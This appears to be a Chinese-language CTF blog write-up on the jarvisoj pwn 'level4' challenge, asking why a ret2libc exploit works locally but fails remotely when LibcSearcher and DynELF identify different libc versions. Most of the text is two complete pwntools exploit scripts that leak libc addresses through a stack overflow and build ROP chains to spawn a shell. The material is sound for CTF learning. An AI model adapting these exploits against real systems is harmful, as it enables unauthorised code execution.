做jarvisoj pwn level4时LibcSearcher和DynELF搜到的libc版本不同

jarvisoj pwn的level4乍一看是一道常规的ROP,可以ret2libc
但是遇到一个问题
自己写的脚本本地能跑通,远程跑不通
可以看到本地是能拿到shell的
做jarvisoj pwn level4时LibcSearcher和DynELF搜到的libc版本不同_第1张图片在网上搜了其他人的wp,全都是用DynELF做的,对比发现是LibcSearcher和DynELF搜到的libc版本不同导致远程跑不通。
远程用DynELF找到的libc版本
在这里插入图片描述
远程LibcSearcher的结果
在这里插入图片描述
本地DynELF
在这里插入图片描述
本地LibcSearcher
本地LibcSearcher
可以看到在本地两种方法搜到的版本都是2.23,但是在远程搜到的版本是不同的。

至于解决方法暂时没有,可能还是我exp写得有问题,但我现在有点看不出来)

最后附上自己写的exp和网上找到的DynELF版本的exp
自己写的exp

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

context(arch = 'i386', os = 'linux')
elf = ELF("./level4")

debug = 1
if debug:
    client = process('./level4')
    #gdb.attach(client)
else:
    client = remote("pwn2.jarvisoj.com",9880)
    
vuln_addr=0x0804844B

content=''
content=content.ljust(35*4,'A')
content+=p32(elf.plt['write'])
content+=p32(vuln_addr)

content+=p32(0x1)
content+=p32(elf.got['read'])
content+=p32(0x4)
client.send(content)
read_addr = u32(client.recv(4))
print hex(read_addr)

searcher=LibcSearcher("read",int(read_addr))
base= read_addr - searcher.dump("read")
print hex(base)
system_addr = base+searcher.dump("system")
print 'system'+str(hex(system_addr))
print hex(base+searcher.dump("str_bin_sh"))

content=''
content=content.ljust(35*4,'A')
content+=p32(system_addr)
content+=p32(0x8048486)
content+=p32(base+searcher.dump("str_bin_sh"))

client.sendline(content)
client.interactive()

网上找到的DynELF版本的exp

from pwn import *
#conn=remote('pwn2.jarvisoj.com','9880')
conn=process('./level4')
e=ELF('./level4')
pad=0x88
write_plt=e.symbols['write']
vul_addr=0x804844b
bss_addr=0x0804a024
def leak(address):
    payload1='a'*pad+"BBBB"+p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    conn.sendline(payload1)
    data=conn.recv(4)
    return data 
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print hex(system_addr) #0xf7676e80

read_plt=e.symbols['read']
payload2='a'*pad+"BBBB"+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
conn.sendline(payload2)
conn.send("/bin/sh\x00")
payload3="a"*pad+"BBBB"+p32(system_addr)+'dead'+p32(bss_addr)
conn.sendline(payload3)
conn.interactive()

你可能感兴趣的:(jarvisoj,pwn,ctf,jarvisoj,libcsearcher,pwn)